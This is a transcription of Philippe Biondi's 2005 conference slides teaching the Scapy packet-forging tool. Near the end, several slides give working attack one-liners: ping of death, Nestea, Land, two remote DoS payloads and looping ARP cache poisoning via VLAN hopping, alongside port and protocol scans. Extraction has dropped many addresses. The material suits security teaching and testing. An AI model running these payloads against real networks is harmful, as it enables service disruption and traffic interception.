Network packet forgery with Scapy
|
|
|
- Noah Hensley
- 10 years ago
- Views:
Transcription
1 Philippe BIONDI Network packet forgery with 1/109 Network packet forgery with Philippe BIONDI phil(at)secdev.org / philippe.biondi(at)eads.net EADS Corporate Research Center SSI Department Suresnes, FRANCE PacSec/core05, November 16, 2005
2 Philippe BIONDI Network packet forgery with 2/109 Outline 1 State of the art Arbitrary limitations Decode or interpret? 2 Concepts Quick overview High-level commands Extending 3 One shots Scanning TTL tricks 4 Conclusion
3 State of the art Arbitrary limitations Decode or interpret? Quick goal-oriented taxonomy of packet building tools Scanning Fingerprinting Testing Attacking Packet forging Sniffing Packet forging tool: forges packets and sends them Sniffing tool: captures packets and possibly dissects them Testing tool: does unitary tests. Usually tries to answer a yes/no question (ex: ping) Scanning tool: does a bunch of unitary tests with some parameters varying in a given range Fingerprinting tool: does some predefined eclectic unitary tests to discriminate a peer Attacking tool: uses some unexpected values in a protocol Philippe BIONDI Network packet forgery with 4/109
4 Philippe BIONDI Network packet forgery with 5/109 Many programs Sorry for possible classification errors! State of the art Arbitrary limitations Decode or interpret? Sniffing tools ethereal, tcpdump, net2pcap, cdpsniffer, aimsniffer, vomit, tcptrace, tcptrack, nstreams, argus, karpski, ipgrab, nast, cdpr, aldebaran, dsniff, irpas, iptraf,... Packet forging tools packeth, packit, packet excalibur, nemesis, tcpinject, libnet, IP sorcery, pacgen, arp-sk, arpspoof, dnet, dpkt, pixiliate, irpas, sendip, IP-packetgenerator, sing, aicmpsend, libpal,...
5 Philippe BIONDI Network packet forgery with 6/109 Many programs State of the art Arbitrary limitations Decode or interpret? Testing tools ping, hping2, hping3, traceroute, tctrace, tcptraceroute, traceproto, fping, arping,... Scanning tools nmap, amap, vmap, hping3, unicornscan, ttlscan, ikescan, paketto, firewalk,... Fingerprinting tools nmap, xprobe, p0f, cron-os, queso, ikescan, amap, synscan,... Attacking tools dnsspoof, poison ivy, ikeprobe, ettercap, dsniff suite, cain, hunt, airpwn, irpas, nast, yersinia,...
6 Philippe BIONDI Network packet forgery with 8/109 Layer 2 or layer 3? State of the art Arbitrary limitations Decode or interpret? Kernel offers two ways to forge packets Layer 2 (PF PACKET, PF RAW, pfopen(), libdnet,... ) almost no limitations on what you send everything to handle yourself : output interface choice linktype (Ethernet, PPP, ,... ) ARP stuff (ARP requests, ARP cache,... ) checksums, Layer 3 (PF INET/SOCK RAW) chooses output interface choice handles linklayer many limitations on what you can do
7 Philippe BIONDI Network packet forgery with 9/109 Layer 2 or layer 3? Layer 2 tools State of the art Arbitrary limitations Decode or interpret? Tools whose goal is to handle layer 2 data (ARP, CDP,...) must use the layer 2 interface. But usually : you have to choose the output interface they handle only one linktype
8 Philippe BIONDI Network packet forgery with 10/109 Layer 2 or layer 3? Layer 3 tools State of the art Arbitrary limitations Decode or interpret? Tools whose goal is to handle layer 3 data (IP, IPv6,...) use the layer 3 interface. But they have to cope with PF INET/SOCK RAW limitations. Some values have special meanings IP checksum set to 0 means calculate the checksum IP ID to 0 means manage the IP ID for me Some values are impossible to use Destination IP can t be a network address present in the routing table Fragmented datagrams may be reassembled by local firewall Local firewall may block emission or reception Broken values may be droped (wrong ihl, bad IP version,...)
9 Philippe BIONDI Network packet forgery with 11/109 State of the art Arbitrary limitations Decode or interpret? Most tools can t forge exactly what you want Most tools support no more than the TCP/IP protocol suite Building a whole packet with a command line tool is near unbearable, and is really unbearable for a set of packets = Popular tools use templates or scenarii with few fields to fill to get a working (set of) packets = You ll never do something the author did not imagine = You often need to write a new tool j But building a single working packet from scratch in C takes an average of 60 lines
10 Philippe BIONDI Network packet forgery with 12/109 Combining technics is not possible State of the art Arbitrary limitations Decode or interpret? Example Imagine you have an ARP cache poisoning tool Imagine you have a double 802.1q encapsulation tool = You still can t do ARP cache poisoning with double 802.1q encapsulation = You need to write a new tool... again.
11 Philippe BIONDI Network packet forgery with 13/109 State of the art Arbitrary limitations Decode or interpret? Most tools can t forge exactly what you want Example Try to find a tool that can do an ICMP echo request with some given padding data an IP protocol scan with the More Fragments flag some ARP cache poisoning with a VLAN hopping attack a traceroute with an applicative payload (DNS, ISAKMP, etc.)
12 Philippe BIONDI Network packet forgery with 15/109 Decoding vs interpreting State of the art Arbitrary limitations Decode or interpret? decoding: I received a RST packet from port 80 interpreting: The port 80 is closed Machines are good at decoding and can help human beings Interpretation is for human beings
13 Philippe BIONDI Network packet forgery with 16/109 State of the art Arbitrary limitations Decode or interpret? A lot of tools interpret instead of decoding Work on specific situations Work with basic logic and reasoning Limited to what the programmer expected to receive = unexpected things keep being unnoticed Example Interesting ports on : PORT STATE SERVICE 22/tcp filtered ssh Missed: it was an ICMP host unreachable. The port is not filtered, but there is no host behing the firewall.
14 Philippe BIONDI Network packet forgery with 17/109 State of the art Arbitrary limitations Decode or interpret? Some tools give a limited interpretation Interpretation is sometimes insufficient for a good network discovery Example Interesting ports on : PORT STATE SERVICE 22/tcp filtered ssh Do you really know what happened? No answer? ICMP host unreachable? from who? ICMP port administratively prohibited? from who?...
15 Philippe BIONDI Network packet forgery with 18/109 State of the art Arbitrary limitations Decode or interpret? Most tools partially decode what they receive Show only what the programmer expected to be useful = unexpected things keep being unnoticed Example # hping --icmp HPING (eth ): icmp mode set, [...] len=46 ip= ttl=64 id=42457 icmp_seq=0 rtt=2.7 ms IP > : icmp 8: echo reply seq d3f d 4b G../..A.K...E. 001c a5d a8 c0a [email protected] e f6 e e5 c24b...k Did you see? Some data leaked into the padding (Etherleaking).
16 Philippe BIONDI Network packet forgery with 19/109 State of the art Arbitrary limitations Decode or interpret? Popular tools bias our perception of networked systems Very few popular tools (nmap, hping) Popular tools give a subjective vision of tested systems = The world is seen only through those tools = You won t notice what they can t see = Bugs, flaws,...may remain unnoticed on very well tested systems because they are always seen through the same tools, with the same bias
17 Philippe BIONDI Network packet forgery with 21/109 s Main Concepts Concepts Quick overview High-level commands Extending Python interpreter disguised as a Domain Specific Language Fast packet designing Default values that work No special values Unlimited combinations Probe once, interpret many Interactive packet and result manipulation
18 Philippe BIONDI Network packet forgery with 22/109 Concepts Quick overview High-level commands Extending as a Domain Specific Language List of layers >>> ls() ARP : ARP DHCP : DHCP options DNS : DNS Dot11 : [...] List of commands >>> lsc() sr : Send and receive packets at layer 3 sr1 : Send packets at layer 3 and return only the fi srp : Send and receive packets at layer 2 [...]
19 Philippe BIONDI Network packet forgery with 23/109 Fast packet designing Concepts Quick overview High-level commands Extending Example Each packet is built layer by layer (ex: Ether, IP, TCP,...) Each layer can be stacked on another Each layer or packet can be manipulated Each field has working default values Each field can contain a value or a set of values >>> a=ip(dst=" id=0x42) >>> a.ttl=12 >>> b=tcp(dport=[22,23,25,80,443]) >>> c=a/b
20 Philippe BIONDI Network packet forgery with 24/109 Fast packet designing Concepts Quick overview High-level commands Extending How to order food at a Fast Food I want a BigMac, French Fries with Ketchup and Mayonnaise, up to 9 Chicken Wings and a Diet Coke How to order a Packet with I want a broadcast MAC address, and IP payload to ketchup.com and to mayo.com, TTL value from 1 to 9, and an UDP payload. Ether(dst="ff:ff:ff:ff:ff:ff") /IP(dst=["ketchup.com","mayo.com"],ttl=(1,9)) /UDP() We have 18 packets defined in 1 line (1 implicit packet)
21 Philippe BIONDI Network packet forgery with 25/109 Default values that work Concepts Quick overview High-level commands Extending If not overriden, IP source is chosen according to destination and routing table Checksum is computed Source MAC is chosen according to output interface Ethernet type and IP protocol are determined by upper layer... Other fields default values are chosen to be the most useful ones: TCP source port is 20, destination port is 80 UDP source and destination ports are 53 ICMP type is echo request...
22 Philippe BIONDI Network packet forgery with 26/109 Default values that work Concepts Quick overview High-level commands Extending Example : Default Values for IP >>> ls(ip) version : BitField = (4) ihl : BitField = (None) tos : XByteField = (0) len : ShortField = (None) id : ShortField = (1) flags : FlagsField = (0) frag : BitField = (0) ttl : ByteField = (64) proto : ByteEnumField = (0) chksum : XShortField = (None) src : Emph = (None) dst : Emph = ( ) options : IPoptionsField = ( )
23 Philippe BIONDI Network packet forgery with 27/109 No special values Concepts Quick overview High-level commands Extending The special value is the None object The None object is outside of the set of possible values = do not prevent a possible value to be used
24 Philippe BIONDI Network packet forgery with 28/109 Unlimited combinations Concepts Quick overview High-level commands Extending With, you can Stack what you want where you want Put any value you want in any field you want Example STP()/IP(options="love",chksum=0x1234) /Dot1Q(prio=1)/Ether(type=0x1234) /Dot1Q(vlan=(2,123))/TCP() You know ARP cache poisonning and vlan hopping = you can poison a cache with a double VLAN encapsulation You know VOIP decoding, and WEP = you can decode a WEP encrypted VOIP capture You know ISAKMP and tracerouting = you can traceroute to VPN concentrators
25 Philippe BIONDI Network packet forgery with 29/109 Probe once, interpret many Concepts Quick overview High-level commands Extending Main difference with other tools : The result of a probe is made of the list of couples (packet sent, packet received) the list of unreplied packet Interpretation/representation of the result is done independently = you can refine an interpretation without needing a new probe Example You do a TCP scan on an host and see some open ports, a closed one, and no answer for the others = you don t need a new probe to check the TTL or the IPID of the answers and determine whether it was the same box
26 Philippe BIONDI Network packet forgery with 31/109 Packet manipulation First steps Concepts Quick overview High-level commands Extending >>> a=ip(ttl=10) >>> a < IP ttl=10 > >>> a.src >>> a.dst=" " >>> a < IP ttl=10 dst= > >>> a.src >>> del(a.ttl) >>> a < IP dst= > >>> a.ttl 64
27 Philippe BIONDI Network packet forgery with 32/109 Packet manipulation Stacking Concepts Quick overview High-level commands Extending >>> b=a/tcp(flags="sf") >>> b < IP proto=tcp dst= < TCP flags=fs >> >>> b.show() ---[ IP ]--- version = 4 ihl = 0 tos = 0x0 len = 0 id = 1 flags = frag = 0 ttl = 64 proto = TCP chksum = 0x0 src = dst = options = ---[ TCP ]--- sport = 20 dport = 80 seq = 0 ack = 0 dataofs = 0 reserved = 0 flags = FS window = 0 chksum = 0x0 urgptr = 0 options =
28 Philippe BIONDI Network packet forgery with 33/109 Packet Manipulation Navigation between layers Concepts Quick overview High-level commands Extending Layers of a packet can be accessed using the payload attribute : print pkt. payload. payload. payload. chksum A better way : The idiom Layer in packet tests the presence of a layer The idiom packet[layer] returns the asked layer The idiom packet[layer:3] returns the third instance of the asked layer Example i f UDP in pkt : print pkt [UDP]. chksum The code is independant from lower layers. It will work the same whether pkt comes from PPP or from WEP with 802.1q
29 Philippe BIONDI Network packet forgery with 34/109 Packet Manipulation Building and Dissecting Concepts Quick overview High-level commands Extending >>> str(b) 1\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x03\x00\x00% \x1e\x00\x00 >>> IP( ) < IP version=4l ihl=5l tos=0x0 len=40 id=1 flags= frag=0l ttl=64 proto=tcp chksum=0xf06f src= dst= options= < TCP sport=20 dport=80 seq=0l ack=0l dataofs=5l reserved=16l flags=fs window=0 chksum=0x251e urgptr=0 >>
30 Philippe BIONDI Network packet forgery with 35/109 Packet Manipulation Implicit Packets Concepts Quick overview High-level commands Extending >>> b.ttl=(10,14) >>> b.payload.dport=[80,443] >>> [k for k in b] [< IP ttl=10 proto=tcp dst= < TCP dport=80 flags=fs >>, < IP ttl=10 proto=tcp dst= < TCP dport=443 flags=fs >>, < IP ttl=11 proto=tcp dst= < TCP dport=80 flags=fs >>, < IP ttl=11 proto=tcp dst= < TCP dport=443 flags=fs >>, < IP ttl=12 proto=tcp dst= < TCP dport=80 flags=fs >>, < IP ttl=12 proto=tcp dst= < TCP dport=443 flags=fs >>, < IP ttl=13 proto=tcp dst= < TCP dport=80 flags=fs >>, < IP ttl=13 proto=tcp dst= < TCP dport=443 flags=fs >>, < IP ttl=14 proto=tcp dst= < TCP dport=80 flags=fs >>, < IP ttl=14 proto=tcp dst= < TCP dport=443 flags=fs >>]
31 PS/PDF packet dump Concepts Quick overview High-level commands Extending >>> pkt.psdump() >>> pkt.pdfdump() Ethernet dst src type 00:12:79:3d:a3:6a 00:11:43:26:48:7e 0x800 IP version 4L ihl 5L tos 0x0 len 33 id flags DF frag 0L ttl 64 proto UDP chksum 0x3e81 src dst options UDP sport dport 4523 len 13 chksum 0x773f Raw load toto.n d a3 6a e a e 81 ac 10 0f 02 ac 10 0f fe 81 1c 11 ab 00 0d 77 3f 74 6f 74 6f 0a Philippe BIONDI Network packet forgery with 36/109
32 Some stuff you can do on a packet Concepts Quick overview High-level commands Extending str(pkt) to assemble the packet hexdump(pkt) to have an hexa dump ls(pkt) to have the list of fields values pkt.summary() for a one-line summary pkt.show() for a developped view of the packet pkt.show2() same as show but on the assembled packet (checksum is calculated, for instance) pkt.sprintf() fills a format string with fields values of the packet pkt.decode payload as() changes the way the payload is decoded pkt.psdump() draws a postscript with explained dissection pkt.pdfdump() draws a PDF with explained dissection Philippe BIONDI Network packet forgery with 37/109
33 Philippe BIONDI Network packet forgery with 38/109 The sprintf() method Concepts Quick overview High-level commands Extending Thanks to the sprintf() method, you can Example make your own summary of a packet abstract lower layers and focus on what s interesting >>> a = IP(dst=" ",ttl=12)/UDP(dport=123) >>> a.sprintf("the source is %IP.src%") The source is %, { and } are special characters they are replaced by %%, %( and %)
34 Philippe BIONDI Network packet forgery with 39/109 Configuration Concepts Quick overview High-level commands Extending >>> conf checkipid = 1 checkipsrc = 1 color_theme = <class scapy.defaulttheme at 0xb7eef86c> except_filter = histfile = /home/pbi/.scapy_history iface = eth0 nmap_base = /usr/share/nmap/nmap-os-fingerprints p0f_base = /etc/p0f.fp route = Network Netmask Gateway Iface lo eth eth eth0 session = sniff_promisc = 0 wepkey =
35 Philippe BIONDI Network packet forgery with 40/109 Sending Concepts Quick overview High-level commands Extending >>> send(b)... Sent 10 packets. >>> send([b]*3)... Sent 30 packets. >>> send(b,inter=0.1,loop=1)...^c Sent 27 packets. >>> sendp("i m travelling on Ethernet ", iface="eth0") tcpdump output: 01:55: :76:65:6c:6c:69 > 49:27:6d:20:74:72, ethertype Unknown (0x6e67), length 27: d c 6c69 6e67 206f I m.travelling.o 6e e n.ethernet.
36 Philippe BIONDI Network packet forgery with 41/109 Sending Concepts Quick overview High-level commands Extending Microsoft IP option DoS proof of concept is 115 lines of C code (without comments) The same with : send(ip(dst="target",options="\x02\x27"+"x"*38)/tcp()) tcpdump isis print() Remote Denial of Service Exploit : 225 lines The same with : send( IP(dst=" ")/GRE(proto=254)/ \x83\x1b \x01\x06\x12\x0 \xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x01\x07 \x00\x00 )
37 Concepts Quick overview High-level commands Extending Sniffing and PCAP file format interface >>> sniff(count=5,filter="tcp") < Sniffed: UDP:0 TCP:5 ICMP:0 Other:0> >>> sniff(count=2, prn=lambda x:x.summary()) Ether / IP / TCP :3021 > :22 PA / Raw Ether / IP / TCP :22 > :3021 PA / Raw < Sniffed: UDP:0 TCP:2 ICMP:0 Other:0> >>> a= >>> a.summary() Ether / IP / TCP :3021 > :22 PA / Raw Ether / IP / TCP :22 > :3021 PA / Raw >>> wrpcap("/tmp/test.cap", a) >>> rdpcap("/tmp/test.cap") < test.cap: UDP:0 TCP:2 ICMP:0 Other:0> >>> a[0] < Ether dst=00:12:2a:71:1d:2f src=00:02:4e:9d:db:c3 type=0x800 < Philippe BIONDI Network packet forgery with 42/109
38 Sniffing and Pretty Printing Concepts Quick overview High-level commands Extending >>> sniff( prn = lambda x: \ x.sprintf("%ip.src% > %IP.dst% %IP.proto%") ) > ICMP > ICMP > ICMP > ICMP >>> a=sniff(iface="wlan0",prn=lambda x: \ x.sprintf("%dot11.addr2% ")+("#"*(x.signal/8))) 00:06:25:4b:00:f3 ###################### 00:04:23:a0:59:bf ######### 00:04:23:a0:59:bf ######### 00:06:25:4b:00:f3 ####################### 00:0d:54:99:75:ac ################# 00:06:25:4b:00:f3 ####################### Requires wlan0 interface to provide Prism headers Philippe BIONDI Network packet forgery with 43/109
39 Philippe BIONDI Network packet forgery with 44/109 Packet Lists Manipulation Concepts Quick overview High-level commands Extending The result of a sniff, pcap reading, etc. is a list of packets The result of a probe is a list of couples (packet sent, packet received) and a list of unanswered packets Each result is stored in a special object that can be manipulated
40 Philippe BIONDI Network packet forgery with 45/109 Packet Lists Manipulation Different Kinds of Packet Lists Concepts Quick overview High-level commands Extending PacketList: vanilla packet lists Dot11PacketList: oriented stats, toethernet() method SndRcvList: vanilla lists of (send,received) couples ARPingResult: ARPing oriented show() TracerouteResult: traceroute oriented show(), graph() method for graphic representation, world trace() for localized path PacketList SndRcvList Dot11PacketList TracerouteResult ARPingResult
41 Philippe BIONDI Network packet forgery with 46/109 Conversations Concepts Quick overview High-level commands Extending >>> a = sniff() >>> a.conversations()
42 Philippe BIONDI Network packet forgery with 47/109 PS/PDF dump Concepts Quick overview High-level commands Extending >>> lst.pdfdump()
43 Philippe BIONDI Network packet forgery with 48/109 Methods Concepts Quick overview High-level commands Extending summary() displays a list of summaries of each packet nsummary() same as previous, with the packet number conversations() displays a graph of conversations show() displays the prefered representation (usually nsummary()) filter() returns a packet list filtered with a lambda function hexdump() returns a hexdump of all packets hexraw() returns a hexdump of the Raw layer of all packets padding() returns a hexdump of packets with padding nzpadding() returns a hexdump of packets with non-zero padding plot() plots a lambda function applied to the packet list make table() displays a table according to a lambda function
44 Philippe BIONDI Network packet forgery with 49/109 Packet Lists Manipulation Operators Concepts Quick overview High-level commands Extending Example A packet list can be manipulated like a list You can add, slice, etc. >>> a = rdpcap("/tmp/dcnx.cap") >>> a < dcnx.cap: UDP:0 ICMP:0 TCP:20 Other:0> >>> a[:10] < mod dcnx.cap: UDP:0 ICMP:0 TCP:10 Other:0> >>> a+a < dcnx.cap+dcnx.cap: UDP:0 ICMP:0 TCP:40 Other:0>
45 Philippe BIONDI Network packet forgery with 50/109 Packet Lists Manipulation Using tables Concepts Quick overview High-level commands Extending Example Tables represent a packet list in a z = f (x, y) fashion. PacketList.make table() takes a λ : p [x(p), y(p), z(p)] For SndRcvList : λ : (s, r) [x(s, r), y(s, r), z(s, r)] They make a 2D array with z(p) in cells, organized by x(p) horizontally and y(p) vertically. >>> ans,_ = sr(ip(dst=" >>> ans.make_table( lambda (snd,rcv): ( snd.dst, snd.dport, rcv.sprintf("{tcp:%tcp.flags%}{icmp:%icmp.type%}"))) SA SA SA SA 25 SA RA RA dest-unreach 80 RA SA SA SA
46 Philippe BIONDI Network packet forgery with 51/109 Sending and Receiving Return first answer Concepts Quick overview High-level commands Extending >>> sr1( IP(dst=" ")/ICMP() ) Begin emission:..finished to send 1 packets..* Received 4 packets, got 1 answers, remaining 0 packets < IP version=4l ihl=5l tos=0x0 len=28 id=46681 flags= frag=0l ttl=64 proto=icmp chksum=0x3328 src= dst= options= < ICMP type=echo-reply code=0 chksum=0xffff id=0x0 seq=0x0 < Padding load= \x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x91\xf49\xea >>> Compare this result to hping s one : # hping --icmp HPING (eth ): icmp mode set, [...] len=46 ip= ttl=64 id=42457 icmp seq=0 rtt=2.7 ms
47 Concepts Quick overview High-level commands Extending The sr() command family s options retry (0): if positive: how many times to retry to send unanswered packets if negative: how many times to retry when no more answers are given timeout (0): how much seconds to wait after the last packet has been sent verbose: set verbosity multi: (0) whether to accept multiple answers for one stimulus filter: BPF filter iface: to work only on a given iface Philippe BIONDI Network packet forgery with 52/109
48 Sending and Receiving Concepts Quick overview High-level commands Extending >>> sr( IP(dst="target", ttl=(10,20))/tcp(sport=randshort()) ) Begin emission:...*..*.*.*.*.*.*****finished to send 11 packets. Received 27 packets, got 11 answers, remaining 0 packets (< Results: UDP:0 TCP:6 ICMP:5 Other:0>, < Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>) >>> res,unans=_ >>> res.summary() IP / TCP :37462 > :80 S ==> Ether / IP / ICMP time-exceeded 0 / IPerror / TCPerror / Padding IP / TCP :45394 > :80 S ==> Ether / IP / ICMP time-exceeded 0 / IPerror / IP / TCP :39265 > :80 S ==> Ether / IP / ICMP time-exceeded 0 / IPerror / T IP / TCP :63692 > :80 S ==> Ether / IP / ICMP time-exceeded 0 / IPerror / T IP / TCP :61857 > :80 S ==> Ether / IP / ICMP time-exceeded 0 / IPerror / T IP / TCP :28186 > :80 S ==> Ether / IP / TCP :80 > :28186 SA / Padding IP / TCP :9747 > :80 S ==> Ether / IP / TCP :80 > :9747 SA / Padding IP / TCP :62614 > :80 S ==> Ether / IP / TCP :80 > :62614 SA / Padding IP / TCP :9146 > :80 S ==> Ether / IP / TCP :80 > :9146 SA / Padding IP / TCP :44469 > :80 S ==> Ether / IP / TCP :80 > :44469 SA / Padding IP / TCP :6862 > :80 S ==> Ether / IP / TCP :80 > :6862 SA / Padding First (stimulus,response) couple Stimulus we sent Response we Philippe BIONDI Network packet forgery with 53/109
49 Philippe BIONDI Network packet forgery with 54/109 Result Manipulation Concepts Quick overview High-level commands Extending >>> res.make_table( lambda (s,r): (s.dst, s.ttl, r.sprintf("%ip.src% \t {TCP:%TCP.flags%}")) ) SA SA SA SA SA SA
50 Philippe BIONDI Network packet forgery with 55/109 Result Manipulation Concepts Quick overview High-level commands Extending Interesting to see there was unexpected padding. Is it a leak? >>> res[0][1] < IP version=4l ihl=5l tos=0x0 len=168 id=1648 flags=df frag=0l ttl=248 proto=icmp chksum=0xab91 src= dst= options= < ICMP type=time-exceeded code=0 chksum=0xb9e id=0x0 seq=0x0 < IPerror version=4l ihl=5l tos=0x0 len=44 id=1 flags= frag=0l ttl=1 proto=tcp chksum=0xa34c src= dst= options= < TCPerror sport=37462 dport=80 seq=0l ack=0l dataofs=6l reserved=0l flags=s window=0 chksum=0xef00 urgptr=0 options=[( MSS, 1460)] < Padding load= \x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 [...] \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00 \x00q\xe1\x00\x08\x01\x01\xb4\x13\xd9\x01 >>>>>
51 Philippe BIONDI Network packet forgery with 57/109 High-Level commands Traceroute Concepts Quick overview High-level commands Extending >>> ans,unans=traceroute([" Received 90 packets, got 90 answers, remaining 0 packets :tcp :tcp :tcp [...] SA SA SA SA SA SA [...] >>> ans[0][1] < IP version=4l ihl=5l tos=0xc0 len=68 id=11202 flags= frag=0l ttl=64 proto=icmp chksum=0xd6b3 src= dst= options= < ICMP type=time-exceeded code=0 chksum=0x5a20 id=0x0 seq=0x0 < IPerror version=4l ihl=5l tos=0x0 len=40 id=14140 flags= frag=0l ttl=1 proto=tcp chksum=0x1d8f src= dst= options= < TCPerror sport=18683 dport=80 seq= l ack=0l dataofs=5l reserved=16l flags=s window=0 chksum=0x5d3a urgptr=0 >>>> >>> ans[57][1].summary() Ether / IP / TCP :80 > :34711 SA / Padding
52 Philippe BIONDI Network packet forgery with 58/109 High-Level commands Traceroute graphing, AS clustering Concepts Quick overview High-level commands Extending [...] 3356 [LEVEL3 Level 3 Communications] [ATT-INTERNET4 - AT&T WorldNet] >>> ans.graph() [MICROSOFT-CORP---MSN-AS-BLOCK] [CISCO-EU-109 Cisco Systems Glo] : SA [HOTMAIL-AS - Hotmail Corporati] [APPLE-ENGINEERING - Apple Comp] : SA : SA
53 Philippe BIONDI Network packet forgery with 59/109 High-Level commands ARP ping Concepts Quick overview High-level commands Extending >>> arping(" /24") Begin emission: *Finished to send 256 packets. * Received 2 packets, got 2 answers, remaining 254 packets 00:12:3f:0a:84:5a :12:79:3d:a3:6a (< ARPing: UDP:0 TCP:0 ICMP:0 Other:2>, < Unanswered: UDP:0 TCP:0 ICMP:0 Other:254>)
54 Philippe BIONDI Network packet forgery with 61/109 Implementing a new protocol Concepts Quick overview High-level commands Extending Example Each layer is a subclass of Packet Each layer is described by a list of fields This description is sufficient for assembly and disassembly Each field is an instance of a Field subclass Each field has at least a name and a default value 1 class Test ( Packet ) : 2 name = "Test protocol" 3 f i e l d s d e s c = [ 4 ByteField ("field1", 1), 5 XShortField ("field2", 2), 6 IntEnumField ("field3", 3, { 1 :"one", 10:"ten" }), 7 ]
55 Philippe BIONDI Network packet forgery with 62/109 Implementing a new protocol Some field classes Concepts Quick overview High-level commands Extending ByteField: A field that contains a byte XByteField: A byte field whose representation is hexadecimal ShortField: A field that contains a short (2 bytes) XShortField: A short field represented in hexadecimal LEShortField: A short field coded in little endian on the network IntField: An int field (4 bytes) BitField: A bit field. Must be followed by other bit fields to stop on a byte boundary ByteEnumField: A byte field whose values can be mapped to names ShortEnumField: A short field whose values can be mapped to names StrLenField: A string field whose length is encoded in another field FieldLenField: A field that encode the length of another field MACField: A field that contains a MAC address IPField: A field that contains an IP address IPoptionsField: A field to manage IP options
56 Philippe BIONDI Network packet forgery with 63/109 Implementing a new protocol Example of the Ethernet protocol Concepts Quick overview High-level commands Extending Example 1 class Ether ( Packet ) : 2 name = "Ethernet" 3 f i e l d s d e s c = [ DestMACField ("dst" ), 4 SourceMACField ("src" ), 5 XShortEnumField ("type", 0, ETHER TYPES ) ] 6 7 def answers ( self, other ) : 8 i f isinstance ( other, Ether ) : 9 i f s e l f. type == other. type : 10 return s e l f. payload. answers ( other. payload ) 11 return def hashret ( s e l f ) : 14 return struct. pack ("H", s e l f. type)+ s e l f. payload. hashret () def mysummary( s e l f ) : 17 return s e l f. s p r i n t f ("%Ether.src% > %Ether.dst% (%Ether.typ
57 Philippe BIONDI Network packet forgery with 64/109 Use in your own tools Executable interactive add-on Concepts Quick overview High-level commands Extending You can extend in a separate file and benefit from interaction Example 1 #! /usr/bin/env python 2 3 from scapy import 4 5 class Test ( Packet ) : 6 name = "Test packet" 7 f i e l d s d e s c = [ ShortField ("test1", 1), 8 ShortField ("test2", 2 ) ] 9 10 def make test (x, y ) : 11 return Ether ()/ IP ()/ Test ( test1=x, test2=y ) interact ( mydict=globals ( ), mybanner="test add-on v3.14")
58 Philippe BIONDI Network packet forgery with 65/109 Use in your own tools External script Concepts Quick overview High-level commands Extending You can make your own autonomous scripts Example 1 #! /usr/bin/env python 2 3 import sys 4 i f len ( sys. argv )!= 2: 5 print "Usage: arping <net>\n eg: arping /24" 6 sys. exit (1) 7 8 from scapy import srp, Ether, ARP, conf 9 conf. verb=0 10 ans, unans=srp ( Ether ( dst="ff:ff:ff:ff:ff:ff") 11 /ARP( pdst=sys. argv [ 1 ] ), 12 timeout =2) for s, r in ans : 15 print r. s p r i n t f ("%Ether.src% %ARP.psrc%")
59 Philippe BIONDI Network packet forgery with 66/109 Continuous traffic monitoring Concepts Quick overview High-level commands Extending Example use sniff() and the prn paramter the callback function will be applied to every packet BPF filters will improve perfomances store=0 prevents sniff() from storing every packets 1 #! /usr/bin/env python 2 from scapy import 3 4 def arp monitor callback ( pkt ) : 5 i f ARP in pkt and pkt [ARP]. op in ( 1, 2 ) : #who-has or is-at 6 return pkt. s p r i n t f ("%ARP.hwsrc% %ARP.psrc%") 7 8 s n i f f ( prn=arp monitor callback, f i l t e r="arp", store =0)
60 Philippe BIONDI Network packet forgery with 68/109 0ld school One shots Scanning TTL tricks Malformed packets send(ip(dst=" ", ihl=2, version=3)/icmp()) Ping of death (Muuahahah) send( fragment(ip(dst=" ")/icmp()/("x"*60000)) ) Nestea attack send(ip(dst=target, id=42, flags="mf")/udp()/("x"*10)) send(ip(dst=target, id=42, frag=48)/("x"*116)) send(ip(dst=target, id=42, flags="mf")/udp()/("x"*224)) Land attack (designed for Microsoft r Windows r ) send(ip(src=target,dst=target)/tcp(sport=135,dport=135))
61 Philippe BIONDI Network packet forgery with 69/109 One shots Scanning TTL tricks ARP cache poisoning through VLAN hopping This attack prevents a client from joining the gateway by poisoning its ARP cache through a VLAN hopping attack. Classic ARP cache poisoning send( Ether(dst=clientMAC) /ARP(op="who-has", psrc=gateway, pdst=client), inter=randnum(10,40), loop=1 ) ARP cache poisoning with double 802.1q encapsulation send( Ether(dst=clientMAC)/Dot1Q(vlan=1)/Dot1Q(vlan=2) /ARP(op="who-has", psrc=gateway, pdst=client), inter=randnum(10,40), loop=1 )
62 Philippe BIONDI Network packet forgery with 71/109 TCP port scan One shots Scanning TTL tricks Send a TCP SYN on each port Wait for a SYN-ACK or a RST or an ICMP error Sending packets res,unans = sr( IP(dst="target") /TCP(flags="S", dport=(1,1024)) ) Possible result visualization: open ports res.nsummary( filter=lambda (s,r): \ (r.haslayer(tcp) and \ (r.getlayer(tcp).flags & 2)) )
63 Philippe BIONDI Network packet forgery with 72/109 One shots Scanning TTL tricks Detect fake TCP replies [Ed3f] Send a TCP/IP packet with correct IP checksum and bad TCP checksum A real TCP stack will drop the packet Some filters or MitM programs will not check it and answer Sending packets res,unans = sr( IP(dst="target") /TCP(dport=(1,1024),chksum=0xBAD) ) Possible result visualization: fake replies res.summary()
64 Philippe BIONDI Network packet forgery with 73/109 IP protocol scan One shots Scanning TTL tricks Send IP packets with every possible value in the protocol field. Protocol not recognized by the host = ICMP protocol unreachable Better results if the IP payload is not empty Sending packets res,unans = sr( IP(dst="target", proto=(0,255))/"xx" ) Possible result visualization: recognized protocols unans.nsummary(prn=lambda s:s.proto)
65 Philippe BIONDI Network packet forgery with 74/109 IP protocol scan with fixed TTL One shots Scanning TTL tricks Send IP packets with every possible value in the protocol field and a well chosen TTL Protocol not filtered by the router = ICMP time exceeded in transit Sending packets res,unans = sr( IP(dst="target", proto=(0,255), ttl=7)/"xx", retry=-2 ) Possible result visualization: filtered protocols unans.nsummary(prn=lambda s:s.proto)
